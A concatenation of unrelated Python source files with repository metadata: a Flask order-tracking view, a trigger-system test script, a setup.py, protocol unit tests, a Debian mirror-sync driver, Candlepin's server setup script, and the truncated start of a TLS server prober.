xml.append('<SOURCE_STATION>%s</SOURCE_STATION>' % params['source_station']) xml.append('<SOURCE_COMPANY>%s</SOURCE_COMPANY>' % params['source_company']) xml.append('<DESTINATION_STATION>%s</DESTINATION_STATION>' % params['destination_station']) xml.append('<DESTINATION_COMPANY>%s</DESTINATION_COMPANY>' % params['destination_company']) xml.append('<STATUS>%s</STATUS>' % params['status']) xml.append('</ORDER>') rv = app.make_response("".join(xml)) rv.mimetype = 'text/xml' return rv def _compose_xml_response(self, code): xml = [] xml.append('<?xml version="1.0" encoding="UTF-8" ?>') xml.append('<RESULT>%s</RESULT>' % code) rv = app.make_response("".join(xml)) rv.mimetype = 'text/xml' return rv def hh(self): type = _g('type') barcode = _g('barcode') if type == 'search': try: b = DBSession.query(Barcode).filter(and_(Barcode.active == 0, Barcode.value == barcode)).one() if b.status == 0 : # the barcode is used in a order try: h = DBSession.query(OrderHeader).filter(OrderHeader.no == barcode).one() params = { 'no' : h.ref_no, 'source_station' : h.source_province, 'source_company' : h.source_company, 'destination_station' : h.destination_province, 'destination_company' : h.destination_company, 'status' : h.status, } except: _error(traceback.print_exc()) params = { 'no' : unicode(MSG_RECORD_NOT_EXIST), 'source_station' : '', 'source_company' : '', 'destination_station' : '', 'destination_company' : '', 'status' : '' } elif b.status == 1 : # the barcode is reserved ,could be created a new order params = { 'no' : 'BARCODE_AVAILABLE', 'source_station' : '', 'source_company' : '', 'destination_station' : '', 'destination_company' : '', 'status' : '-2' } else: # the barcode is cancel ,equal not existed params = { 'no' : unicode(MSG_RECORD_NOT_EXIST), 'source_station' : '', 'source_company' : '', 'destination_station' : '', 'destination_company' : '', 'status' : '' } except: _error(traceback.print_exc()) params = { 'no' : unicode(MSG_RECORD_NOT_EXIST), 'source_station' : '', 'source_company' : '', 'destination_station' : '', 'destination_company' : '', 'status' : '' } return self._compose_xml_result(params) elif type == 'submit': try: action_type = _g('action_type') action_type = int(action_type) # create a draft order by the handheld if action_type == -2: no = _g('barcode') ref_no = _g('orderno') b = Barcode.getOrCreate(no, ref_no, status = 0) try: DBSession.add(OrderHeader(no = no, ref_no = ref_no, status = -2)) b.status = 0 DBSession.commit() return self._compose_xml_response(0) except: DBSession.rollback() _error(traceback.print_exc()) return self._compose_xml_response(1) h = DBSession.query(OrderHeader).filter(OrderHeader.no == barcode).one() h.update_status(action_type) if action_type == IN_WAREHOUSE[0]: remark = (u'订单: %s 确认入仓。备注:' % h.ref_no) + (_g('remark') or '') elif action_type == OUT_WAREHOUSE[0]: remark = (u'订单: %s 确认出仓。备注:' % h.ref_no) + (_g('remark') or '') elif action_type == GOODS_SIGNED[0]: remark = LOG_GOODS_SIGNED + (u'签收人:%s , 签收人电话:%s , 签收时间:%s' % (_g('contact'), _g('tel') or '', _g('time'))), h.signed_time = _g('time') h.signed_remark = _g('remark') h.signed_contact = _g('contact') h.signed_tel = _g('tel') elif action_type == GOODS_PICKUP[0]: remark = LOG_GOODS_PICKUPED + (u'提货人: %s, 提货数量: %s , 备注:%s' % (_g('contact'), _g('qty'), (_g('remark') or ''))), params = { 'action_time' : _g('time'), 'contact' : _g('contact'), 'qty' : _g('qty'), 'tel' : _g('tel'), 'remark' : _g('remark'), } obj = PickupDetail(header = h, **params) DBSession.add(obj) DBSession.add(TransferLog( refer_id = h.id, transfer_date = _g('time'), type = 0, remark = remark, )) DBSession.commit() return self._compose_xml_response(0) except: return self._compose_xml_response(1) else: return self._compose_xml_response(MSG_NO_SUCH_ACTION) def sms(self): _info(request.values) return 'OK' def ajax_check_barcode(self): value = _g('value') (code, status) = Barcode.check(value) return jsonify({'code' : code, 'status' : status}) def compute_by_diqu(self): province_id = _g('province_id') city_id = _g('city_id') customer_id = _g('customer_id') # count the ratio ratio_result = self._compute_ratio(customer_id, province_id, city_id) # count the day day_result = self._compute_day(province_id, city_id) ratio_result.update(day_result) ratio_result.update({'code' : 0}) return jsonify(ratio_result) def _compute_day(self, province_id, city_id): estimate_day = '' if city_id: c = DBSession.query(City).get(city_id) if c.shixiao: estimate_day = (dt.now() + timedelta(days = c.shixiao)).strftime(SYSTEM_DATE_FORMAT) else: p = DBSession.query(Province).get(province_id) if p.shixiao: estimate_day = (dt.now() + timedelta(days = p.shixiao)).strftime(SYSTEM_DATE_FORMAT) elif province_id: p = DBSession.query(Province).get(province_id) if p.shixiao: estimate_day = (dt.now() + timedelta(days = p.shixiao)).strftime(SYSTEM_DATE_FORMAT) return {'day' : estimate_day} def _compute_ratio(self, customer_id, province_id, city_id): qty_ratio = '' weight_ratio = '' vol_ratio = '' q1 = DBSession.query(CustomerDiquRatio).filter(and_(CustomerDiquRatio.active == 0, CustomerDiquRatio.customer_id == customer_id, CustomerDiquRatio.province_id == province_id, CustomerDiquRatio.city_id == city_id, )) if q1.count() == 1: t = q1.one() qty_ratio, weight_ratio, vol_ratio = t.qty_ratio, t.weight_ratio, t.vol_ratio else: q2 = DBSession.query(CustomerDiquRatio).filter(and_(CustomerDiquRatio.active == 0, CustomerDiquRatio.customer_id == customer_id, CustomerDiquRatio.province_id == province_id, CustomerDiquRatio.city_id == None, )) if q2.count() == 1: t = q2.one() qty_ratio, weight_ratio, vol_ratio = t.qty_ratio, t.weight_ratio, t.vol_ratio else: q3 = DBSession.query(City).filter(and_(City.active == 0, City.id == city_id)) if q3.count() == 1: t = q3.one() qty_ratio, weight_ratio, vol_ratio = t.qty_ratio, t.weight_ratio, t.vol_ratio else: q4 = DBSession.query(Province).filter(and_(Province.active == 0, Province.id == province_id)) if q4.count() == 1: t = q4.one() qty_ratio, weight_ratio, vol_ratio = t.qty_ratio, t.weight_ratio, t.vol_ratio # try: # t = DBSession.query(CustomerDiquRatio).filter(and_(CustomerDiquRatio.active == 0, # CustomerDiquRatio.customer_id == customer_id, # CustomerDiquRatio.province_id == province_id, # CustomerDiquRatio.city_id == city_id, # )).one() # qty_ratio, weight_ratio, vol_ratio = t.qty_ratio, t.weight_ratio, t.vol_ratio # except: # try: # t = DBSession.query(CustomerDiquRatio).filter(and_(CustomerDiquRatio.active == 0, # CustomerDiquRatio.customer_id == customer_id, # CustomerDiquRatio.province_id == province_id, # CustomerDiquRatio.city_id == None, # )).one() # qty_ratio, weight_ratio, vol_ratio = t.qty_ratio, t.weight_ratio, t.vol_ratio # except: # try: # c = DBSession.query(City).filter(and_(City.active == 0, City.id == city_id)).one() # qty_ratio, weight_ratio, vol_ratio = c.qty_ratio, c.weight_ratio, c.vol_ratio # except: # try: # p = DBSession.query(Province).filter(and_(Province.active == 0, Province.id == province_id)).one() # qty_ratio, weight_ratio, vol_ratio = p.qty_ratio, p.weight_ratio, p.vol_ratio # except: pass return {'qty_ratio' : qty_ratio, 'weight_ratio' : weight_ratio, 'vol_ratio' : vol_ratio} def ajax_order_info(self): ref_no = _g('order_no') try: header = DBSession.query(OrderHeader).filter(and_(OrderHeader.active == 0, OrderHeader.ref_no == ref_no)).one() logs = [] logs.extend(header.get_logs()) try: deliver_detail = DBSession.query(DeliverDetail).filter(and_(DeliverDetail.active == 0, DeliverDetail.order_header_id == header.id)).one() deliver_heaer = deliver_detail.header logs.extend(deliver_heaer.get_logs()) except: pass logs = sorted(logs, cmp = lambda x, y: cmp(x.transfer_date, y.transfer_date)) return jsonify({'code' : 0 , 'msg' : '', 'data' : { 'no' : header.no, 'ref_no' :header.ref_no, 'status' : header.status, 'source_company' : unicode(header.source_company), 'source_province' : unicode(header.source_province), 'source_city' : unicode(header.source_city) or '', 'source_address' : header.source_address or '', 'source_contact' : header.source_contact or '', 'source_tel' : header.source_tel or '', 'destination_company' : unicode(header.destination_company), 'destination_province' : unicode(header.destination_province), 'destination_city' : unicode(header.destination_city) or '', 'destination_address' : header.destination_address or '', 'destination_contact' : header.destination_contact or '', 'destination_tel' : header.destination_tel or '', 'qty' : header.qty or '', 'weight' : header.weight or '', 'create_time' : date2text(header.create_time), 'expect_time' : header.expect_time or '', 'actual_time' : header.actual_time or '', 'signed_contact' : header.signed_contact or '', 'logs' : [{ 'transfer_date' : l.transfer_date, 'remark' : l.remark, } for l in logs] }}) except: _error(traceback.print_exc()) return jsonify({'code' : 1, 'msg' : MSG_RECORD_NOT_EXIST}) bpRoot.add_url_rule('/', view_func = RootView.as_view('view'), defaults = {'action':'index'}) bpRoot.add_url_rule('/<action>', view_func = RootView.as_view('view'))
UTF-8
Python
false
false
2,012
10,153,302,713,142
11add180a65d5061e3e8ef05b327a648f3c216f8
aa978a838d16fd6432221fa96b00861e322bdce7
/Vigilert/Tests/Niladri/bounded_identifiers.py
ce91b8c11cc8c43150bce64044b20fd7bb2d7922
[]
no_license
aevernon/triggerman
https://github.com/aevernon/triggerman
996844f433ccfd9bdd815d5746a5b45ba3421794
11ba7fd89b308ab09541177ddc47d1af605a1355
refs/heads/master
2016-09-05T22:34:19.429543
2009-11-15T22:05:26
2009-11-15T22:05:26
374,044
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#================================================================================================== # bounded_identifiers.py # # This script tests how the system handles bounded identifiers. # # Author: Niladri Batabyal #================================================================================================== from PyVAPI.vl import * tl("echo ''") tl("echo 'TEST THE FUNCTIONALITY OF BOUNDED IDENTIFIERS.'") tl("echo ''") # Test tables and data sources tl("echo 'First test whether a bounded identifier with uppercase characters is differentiated from a normal identifier'") sql('create table "NILADRI" (x int)') sql('create table NILADRI (x int)') sql('create table "NiLaDrI" (x int)') tl("echo 'The following table should not be created'") sql('create table "niladri" (x int)') tl("echo 'Now make sure that the data sources are created on the correct tables'") tl('create data source NILADRI') tl('create data source {NILADRI}') tl('create data source {NiLaDrI}') tl("echo 'The following data sources should not be created'") tl('create data source niladri') tl('create data source {niladri}') tl('create data source NiLaDrI') # drop all tables and data sources sql('drop table "NILADRI"') sql('drop table "NiLaDrI"') sql('drop table niladri') tl('drop data source {NILADRI}') tl('drop data source niladri') tl('drop data source {NiLaDrI}') tl("echo 'There should be an error that results when the following data source is dropped.'") tl('drop data source NILADRI') # Now test triggers and attributes sql('create table
UTF-8
Python
false
false
2,009
18,262,200,969,106
f34ee344c48cd6f14b9fffc8ff73e0d4974aa51a
42ec40f33341e723a9183194b4caa8a8a0a88fa2
/setup.py
0b22db024568f3213e07c74f9a68d9fe6b38e688
[]
no_license
marselester/django-todo
https://github.com/marselester/django-todo
4dbde7c2f7351be0e50c4cf1b065befbab4ba2b5
60ca905708cafb6beb3ae3315ccfccd1828a78d2
refs/heads/master
2016-09-06T07:36:36.780134
2012-05-14T08:51:04
2012-05-14T08:51:04
4,442,698
1
1
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python from distutils.core import setup setup( name='django-todo', version='0.1dev', long_description=open('README.rst').read(), author='marselester', author_email='[email protected]', packages=[ 'todo', 'todo.templatetags', ], include_package_data=True, install_requires=[ 'django-model-utils', 'pytils', ] )
UTF-8
Python
false
false
2,012
11,630,771,440,796
adfed5948e21f4a1b357a708b8fea64c114bdfb1
feae1530f40703d6b71c8475138817f007bc8d86
/testing/test_core_protocol.py
2b059ef586d44d0c026a1d27b8359f02bc224311
[ "MIT" ]
permissive
ameyapg/xeno
https://github.com/ameyapg/xeno
196abdf1a7aa76a550abc2b8867915a0a2bc989b
3ce16970d2a3c12e1ecc464635562bb7b9dfd651
refs/heads/master
2021-01-21T06:47:15.760720
2013-11-12T11:44:24
2013-11-12T11:44:24
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# System modules import os import unittest # xeno imports from xeno.version import XENO_VERSION, STRINGIFY_VERSION from xeno.core.protocol import create_initialization_token, \ check_for_initialization_token, INITIALIZATION_KEY_REMOTE_VERSION, \ INITIALIZATION_KEY_IS_FILE, INITIALIZATION_KEY_REMOTE_PATH, \ INITIALIZATION_KEY_REPOSITORY_PATH class TestProtocol(unittest.TestCase): def test_create_and_parse(self): """Test to make sure token creation works okay. """ # Test with the user's home directory and a bogus repo path = os.path.expanduser('~') repo_path = '/Some/Repo/Path/' # Create a token token = create_initialization_token(path, repo_path) print(token) # Decode it decoded_object = check_for_initialization_token(token) # Make sure it is correct self.assertEqual( decoded_object, { INITIALIZATION_KEY_REMOTE_VERSION: STRINGIFY_VERSION(XENO_VERSION), INITIALIZATION_KEY_IS_FILE: False, INITIALIZATION_KEY_REMOTE_PATH: path, INITIALIZATION_KEY_REPOSITORY_PATH: repo_path } ) def test_no_match(self): """Test to make sure tokens aren't falsely detected. """ self.assertEqual(check_for_initialization_token('afs'), None) self.assertEqual(check_for_initialization_token(''), None) # This is the case that requires it be at the start of the string self.assertEqual( check_for_initialization_token( ' <xeno-initialize>abcd</xeno-initialize>' ), None ) # Run the tests if this is the main module if __name__ == '__main__': unittest.main()
UTF-8
Python
false
false
2,013
18,588,618,492,001
b27d6139e43555c2cb1473e2296c8d2c5d5cff0b
2054da0a8f36085a6252ecfa00b2eed4ffce6411
/psync/drivers/Debian.py
c14810507be10852aa11bc87e163207a260c6eb6
[ "GPL-2.0-only" ]
non_permissive
StyXman/psync
https://github.com/StyXman/psync
1de92f101fc29f7051484f2c4221220fa8e09332
5e63564cb1fd62d60d5856bfd1de759dfee138c1
refs/heads/master
2016-08-06T01:49:36.772053
2012-09-26T12:54:46
2012-09-26T12:54:46
4,362,487
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
# (c) 2005 # Marcos Dione <[email protected]> # Marcelo "xanthus" Ramos <[email protected]> from os import listdir from os.path import dirname, basename import gzip import bz2 as bzip2 from psync.core import Psync from psync.utils import stat from psync import logLevel import logging logger = logging.getLogger('psync.drivers.Debian') logger.setLevel(logLevel) class Debian(Psync): def __init__ (self, **kwargs): super (Debian, self).__init__ (**kwargs) def releaseDatabases(self): ans= [] def releaseFunc (self): ans.append (("dists/%(release)s/Release" % self, False)) ans.append (("dists/%(release)s/Release.gpg" % self, False)) def archFunc (self): ans.append (("dists/%(release)s/Contents-%(arch)s.gz" % self, False)) def moduleFunc (self): # download the .gz only and process from there packages= "dists/%(release)s/%(module)s/binary-%(arch)s/Packages" % (self) packagesGz= packages+".gz" packagesBz2= packages+".bz2" release= "dists/%(release)s/%(module)s/binary-%(arch)s/Release" % (self) i18n= "dists/%(release)s/%(module)s/i18n/Index" % (self) # ans.append ( (packages, True) ) ans.append ( (packagesGz, True) ) ans.append ( (packagesBz2, True) ) ans.append ( (release, False) ) ans.append ( (i18n, False) ) self.walkRelease (releaseFunc, archFunc, moduleFunc) return ans def files(self): packages= "%(tempDir)s/%(repoDir)s/dists/%(release)s/%(module)s/binary-%(arch)s/Packages" % self packagesGz= packages+".gz" packagesBz2= packages+".bz2" logger.debug ("opening %s" % packagesGz) gz= gzip.open (packagesGz) # bz2= bzip2.BZ2File (packagesBz2, 'w') o= open (packages, "w+") line= gz.readline () while line: # print line o.write (line) # bz2.write (line) # grab filename if line.startswith ('Filename'): filename= line.split()[1] # grab size and process if line.startswith ('Size'): size= int(line.split()[1]) # logger.debug ('found file %s, size %d' % (filename, size)) yield (filename, size, False) line= gz.readline () o.close () gz.close () # bz2.close () # i18n support try: i18n= "%(tempDir)s/%(repoDir)s/dists/%(release)s/%(module)s/i18n/Index" % self logger.debug ("opening %s" % i18n) i= open (i18n) except (OSError, IOError), e: logger.warn ("[Ign] %s ([Error %d] %s)" % (i18n, e.errno, e.strerror)) else: line= i.readline () while line: if line[0]!=" ": logger.debug ("skipping %s" % line) line= i.readline () continue # 108e90332397205e5bb036ffd42a1ee0e984dd7f 997 Translation-eo.bz2 data= line.split () size= int (data[1]) filename= ("dists/%(release)s/%(module)s/i18n/" % self) + data[2] logger.debug ('found i18n file %s, size %d' % (filename, size)) # with None we force the file to be reget yield (filename, size, True) line= i.readline () self.firstDatabase= True def finalReleaseDBs (self, old=False): ans= self.releaseDatabases () def moduleFunc (self): # download the .gz only and process from there packages= "dists/%(release)s/%(module)s/binary-%(arch)s/Packages" % (self) ans.append ( (packages, True) ) self.walkRelease (None, None, moduleFunc) return ans # end
UTF-8
Python
false
false
2,012
11,123,965,344,225
294ccccfb1cbf9295497e3924b887599c8b89f85
9455a95445df638acfc5ce058bd50775898233c8
/code/setup/cpsetup
8e53718588af3c504d7c76a4ed460643d3da0134
[]
no_license
lzap/candlepin
https://github.com/lzap/candlepin
5c665b530628e34e7aa95efc35ad7ac04c066d32
19cc3d5eb0091ad90a834759ea83bec0f6442a54
refs/heads/master
2021-01-18T09:35:58.874663
2012-07-27T17:38:12
2012-07-27T17:38:12
5,272,828
1
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/python # # Copyright (c) 2010 Red Hat, Inc. # # This software is licensed to you under the GNU General Public License, # version 2 (GPLv2). There is NO WARRANTY for this software, express or # implied, including the implied warranties of MERCHANTABILITY or FITNESS # FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2 # along with this software; if not, see # http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt. # # Red Hat trademarks are not licensed under GPLv2. No permission is # granted to use or replicate Red Hat trademarks that are incorporated # in this software or its documentation. # """ Script to set up a Candlepin server. This script should be idempotent, as puppet will re-run this to keep the server functional. """ import sys import commands import os.path, os import socket import re import time import httplib from optparse import OptionParser CANDLEPIN_CONF = '/etc/candlepin/candlepin.conf' def run_command(command): (status, output) = commands.getstatusoutput(command) if status > 0: sys.stderr.write("\n########## ERROR ############\n") sys.stderr.write("Error running command: %s\n" % command) sys.stderr.write("Status code: %s\n" % status) sys.stderr.write("Command output: %s\n" % output) raise Exception("Error running command") return output # run with 'sudo' if not running as root def run_command_with_sudo(command): if os.geteuid()==0: run_command(command) else: run_command('sudo %s' % command) class TomcatSetup(object): def __init__(self, conf_dir, keystorepwd): self.conf_dir = conf_dir self.comment_pattern = '<!--\s*?\n*?<Connector port="8443".*?-->' self.existing_pattern = '<Connector port="8443".*?/>' self.https_conn = """ <Connector port="8443" protocol="HTTP/1.1" SSLEnabled="true" maxThreads="150" scheme="https" secure="true" clientAuth="want" SSLProtocol="TLS" keystoreFile="conf/keystore" truststoreFile="conf/keystore" keystorePass="%s" keystoreType="PKCS12" ciphers="SSL_RSA_WITH_3DES_EDE_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA, TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA, TLS_ECDH_RSA_WITH_AES_128_CBC_SHA, TLS_ECDH_RSA_WITH_AES_256_CBC_SHA, TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA, TLS_ECDH_anon_WITH_AES_128_CBC_SHA, TLS_ECDH_anon_WITH_AES_256_CBC_SHA" truststorePass="%s" />""" % (keystorepwd, keystorepwd) def _backup_config(self, conf_dir): run_command('cp %s/server.xml %s/server.xml.original' % (conf_dir, conf_dir)) def _replace_current(self, original): regex = re.compile(self.existing_pattern, re.DOTALL) return regex.sub(self.https_conn, original) def _replace_commented(self, original): regex = re.compile(self.comment_pattern, re.DOTALL) return regex.sub(self.https_conn, original) def update_config(self): self._backup_config(self.conf_dir) original = open(os.path.join(self.conf_dir, 'server.xml'), 'r').read() if re.search(self.comment_pattern, original, re.DOTALL): updated = self._replace_commented(original) else: updated = self._replace_current(original) config = open(os.path.join(self.conf_dir, 'server.xml'), 'w') config.write(updated) file.close def fix_perms(self): run_command("chmod g+x /var/log/tomcat6") run_command("chmod g+x /etc/tomcat6/") run_command("chown tomcat:tomcat -R /var/lib/tomcat6") run_command("chown tomcat:tomcat -R /var/lib/tomcat6") run_command("chown tomcat:tomcat -R /var/cache/tomcat6") def stop(self): run_command("/sbin/service tomcat6 stop") def restart(self): run_command("/sbin/service tomcat6 restart") def wait_for_startup(self): print("Waiting for tomcat to restart...") conn = httplib.HTTPConnection('localhost:8080') for x in range(1,5): time.sleep(5) try: conn.request('GET', "/candlepin/") if conn.getresponse().status == 200: break except: print("Waiting for tomcat to restart...") class CertSetup(object): def __init__(self): self.cert_home = '/etc/candlepin/certs' self.ca_key_passwd = self.cert_home + '/candlepin-ca-password.txt' self.ca_key = self.cert_home + '/candlepin-ca.key' self.ca_upstream_cert = self.cert_home + '/candlepin-upstream-ca.crt' self.ca_pub_key = self.cert_home + '/candlepin-ca-pub.key' self.ca_cert = self.cert_home + '/candlepin-ca.crt' self.keystore = self.cert_home + '/keystore' def generate(self): if not os.path.exists(self.cert_home): run_command_with_sudo('mkdir -p %s' % self.cert_home) if os.path.exists(self.ca_key) and os.path.exists(self.ca_cert): print("Cerficiates already exist, skipping...") return print("Creating CA private key password") run_command_with_sudo('su -c "echo $RANDOM > %s"' % self.ca_key_passwd) print("Creating CA private key") run_command_with_sudo('openssl genrsa -out %s -passout "file:%s" 1024' % (self.ca_key, self.ca_key_passwd)) print("Creating CA public key") run_command_with_sudo('openssl rsa -pubout -in %s -out %s' % (self.ca_key, self.ca_pub_key)) print("Creating CA certificate") run_command_with_sudo('openssl req -new -x509 -days 365 -key %s -out %s -subj "/CN=%s/C=US/L=Raleigh/"' % (self.ca_key, self.ca_cert, socket.gethostname())) run_command_with_sudo('openssl pkcs12 -export -in %s -inkey %s -out %s -name tomcat -CAfile %s -caname root -chain -password pass:password' % (self.ca_cert, self.ca_key, self.keystore, self.ca_cert)) run_command_with_sudo('cp %s %s' % (self.ca_cert, self.ca_upstream_cert)) run_command_with_sudo('chmod a+r %s' % self.keystore) def write_candlepin_conf(options): """ Write configuration to candlepin.conf. """ # If the file exists and it's size is not 0 (it will be empty after # fresh rpm install), write out a default with database configuration: if os.path.exists(CANDLEPIN_CONF) and os.stat(CANDLEPIN_CONF).st_size > 0: print("candlepin.conf already exists, skipping...") return print("Writing configuration file") f = open(CANDLEPIN_CONF, 'w') f.write('jpa.config.hibernate.dialect=org.hibernate.dialect.PostgreSQLDialect\n') f.write('jpa.config.hibernate.connection.driver_class=org.postgresql.Driver\n') f.write('jpa.config.hibernate.connection.url=jdbc:postgresql:%s\n' % options.db) f.write('jpa.config.hibernate.hbm2ddl.auto=validate\n') f.write('jpa.config.hibernate.connection.username=%s\n' % options.dbuser) f.write('jpa.config.hibernate.connection.password=candlepin\n') if options.webapp_prefix: f.write('\ncandlepin.export.webapp.prefix=%s\n' % options.webapp_prefix) f.close() def main(argv): parser = OptionParser() parser.add_option("-s", "--skipdbcfg", action="store_true", dest="skipdbcfg", default=False, help="don't configure the /etc/candlepin/candlepin.conf file") parser.add_option("-u", "--user", dest="dbuser", default="candlepin", help="the database user to use") parser.add_option("-d", "--database", dest="db", default="candlepin", help="the database to use") parser.add_option("-w", "--webapp-prefix", dest="webapp_prefix", help="the web application prefix to use for export origin [host:port/prefix]") parser.add_option("-k", "--keystorepwd", dest="keystorepwd", default="password", help="the keystore password to use for the tomcat configuration") (options, args) = parser.parse_args() # Stop tomcat before we wipe the DB otherwise you get errors from pg tsetup = TomcatSetup('/etc/tomcat6', options.keystorepwd) tsetup.fix_perms() tsetup.stop() # Call the cpdb script to create the candlepin database. This will fail # if the database already exists, protecting us from accidentally wiping # it out if cpsetup is re-run. script_dir = os.path.dirname(__file__) cpdb_script = os.path.join(script_dir, "cpdb") run_command("%s --create -u %s --database %s" % (cpdb_script, options.dbuser, options.db)) if not options.skipdbcfg: write_candlepin_conf(options) else: print "** Skipping configuration file setup" certsetup = CertSetup() certsetup.generate() tsetup = TomcatSetup('/etc/tomcat6', options.keystorepwd) tsetup.update_config() tsetup.restart() tsetup.wait_for_startup() run_command("wget -qO- http://localhost:8080/candlepin/admin/init") print("Candlepin has been configured.") if __name__ == "__main__": main(sys.argv[1:])
UTF-8
Python
false
false
2,012
1,357,209,698,979
ba6c2d4459f49ef004937860b528abcfd0d2c504
575bd8dd1079759239e60a6e834e003e809af0ab
/vnccollab/content/browser/interfaces.py
bee76d4f8ec55a521f281e8ab8a7124c81ac92f7
[ "GPL-2.0-or-later" ]
non_permissive
vnc-biz/vnccollab.content
https://github.com/vnc-biz/vnccollab.content
0f8a620cee6236f6dd2009bb463d0416c873b9f9
17cf7a46ea335192dc23b56a72f5674f021c370f
refs/heads/master
2016-08-03T00:09:25.330300
2014-07-03T12:36:00
2014-07-03T12:36:00
18,652,437
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from plone.theme.interfaces import IDefaultPloneLayer class IPackageLayer(IDefaultPloneLayer): """A layer specific to vnccollab.content package"""
UTF-8
Python
false
false
2,014
16,664,473,122,429
9350b4cf54809fcb543e5bcf3605df270ba39415
1f15204c3bdfab4d34d94959bab264b3924a0d57
/week_0/2-Python-harder-problem-set/prime_number.py
e1c64f9e5aee0563ebf4a6438e028c963d990676
[]
no_license
IvanAlexandrov/HackBulgaria-Tasks
https://github.com/IvanAlexandrov/HackBulgaria-Tasks
c6daa44091062e8c984d5b48d22e4e4e7d754129
321fd7ba03f7d1b4cd83803feb31ad887250f42d
refs/heads/master
2021-01-10T21:06:24.426679
2014-11-30T20:38:37
2014-11-30T20:38:37
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
def is_prime(n): result = True if n <= 1: result = False else: # TODO optimize for large numbers divisor_limit = int(n ** 0.5) for i in range(2, divisor_limit + 1, 1): if n % i == 0: result = False break return result def main(): # 2 ** 57885161 - 1 test = [1, 2, 8, 11, -10, 7, 17, 4] for number in test: print(is_prime(number)) if __name__ == "__main__": main()
UTF-8
Python
false
false
2,014
11,802,570,137,737
e3b8ae64c9bec7084485a0087ffc1b9ef7ac4c43
559fbe01ec9756b58991bbdcf67672f2381e05ca
/sim
f0bfa60e6dae8fe96063b86f91edd1088b45f049
[]
no_license
manasdas17/simple_c
https://github.com/manasdas17/simple_c
9de1d83d04ec9599322084461fa43400758e4202
50d8ebf70244461409d12e66bff955e8d9f73d66
refs/heads/master
2020-12-03T05:19:09.014067
2012-05-13T20:57:17
2012-05-13T20:57:17
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python import sys import compiler.parser as parser import compiler.optimizer as optimizer import simulator.simulator as simulator import assembler.assembler as assembler input_file = open(sys.argv[1], 'r') input_file = input_file.read() theparser = parser.Parser() instructions = theparser.parse(input_file).generate_code() instructions = optimizer.optimize(instructions) instructions = assembler.assemble(instructions) simulator = simulator.Simulator(instructions) while simulator.program_counter != 3: simulator.execute()
UTF-8
Python
false
false
2,012
1,846,835,949,329
2e07cd1705884c8f0fca90b8fd2418a51c89c01e
8b59717712aa55f004c5562e42e1c79cd0f545b3
/probe_lists.py
08fb1239c70e2aba3bb065a3e40be35e71248c1b
[ "Apache-2.0" ]
permissive
jamella/tlsprober
https://github.com/jamella/tlsprober
0dfe6b01416f886144819ffcda82131757ec2970
927f6177939470235bf336bca27096369932fc66
refs/heads/master
2021-01-18T07:51:14.180324
2012-12-14T21:09:19
2012-12-17T09:19:02
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
# -*- Mode: python; tab-width: 4; indent-tabs-mode: nil; -*- # Copyright 2010-2012 Opera Software ASA # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ The prober engine, performs the actual probes, and insertion into the database. Started by cluster_start.py """ import socket import fileinput import libinit from optparse import OptionParser from probe_server import ProbeServer import time import probedb.standalone from db_list import db_list import probedb.probedata2.models as Probe import sys from django.db import connection, transaction class test_output: """Test queue and result presenter""" def __init__(self, options, args, *other): self.args = args def log_performance(self): pass class Queue: def __init__(self,args): self.args = args def IsActive(self): return True def __iter__(self): def make_entry(x): ret = x.split(":") if len(ret) <1: raise Exception() elif len(ret) <2: ret += [443, Probe.Server.PROTOCOL_HTTPS] elif len(ret) < 3: ret[1] = int(ret[1]) ret.append(Probe.Server.PROTOCOL_PORT.get(ret[1], Probe.Server.PROTOCOL_HTTPS)) else: ret[1] = int(ret[1]) (server, port,protocol) = ret[0:3] sn_t = "%s:%05d" % (server, port) class server_item_object: pass server_item = server_item_object(); server_item.full_servername = sn_t server_item.enabled=True server_item.alexa_rating=0 server_item.servername= server server_item.port= port server_item.protocol= protocol server_item.id = 0 return server_item return iter([make_entry(x) for x in args]) def GetQueue(self): return test_output.Queue(self.args) def print_probe(self, prober): print str(prober) options_config = OptionParser() options_config.add_option("-n", action="store", type="int", dest="index", default=1) options_config.add_option("--alone", action="store_true", dest="standalone") options_config.add_option("--debug", action="store_true", dest="debug") options_config.add_option("--verbose", action="store_true", dest="verbose") options_config.add_option("--run-id", action="store", type="int", dest="run_id", default=0) options_config.add_option("--source", action="store", type="string", dest="source_name", default="TLSProber") options_config.add_option("--description", action="store", type="string", dest="description",default="TLSProber") options_config.add_option("--file", action="store_true", dest="file_list_only") options_config.add_option("--processes", action="store", dest="process_count", default=1) options_config.add_option("--max", action="store", type="int", dest="max_tests",default=0) options_config.add_option("--testbase2", action="store_true", dest="use_testbase2") options_config.add_option("--performance", action="store_true", dest="register_performance") options_config.add_option("--large_run", action="store_true", dest="large_run") options_config.add_option("--small_run", action="store_true", dest="small_run") options_config.add_option("--test", action="store_true", dest="just_test") (options, args) = options_config.parse_args() if not options.standalone and options.index != 1: time.sleep(options.index % 10); output_target = db_list if not options.just_test else test_output debug = options.debug tested_count = 0; out_files = output_target(options, args) out_files.debug = options.verbose hostlist = out_files.GetQueue() for server_item in hostlist: if not server_item.enabled: continue sock = None try: if options.verbose: print "testing connection to ", server_item.servername sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) if not sock: if options.verbose: print "fail connect" time.sleep(0.1) out_files.log_performance() continue sock.settimeout(10) #Only on python 2.3 or greater sock.connect((server_item.servername, 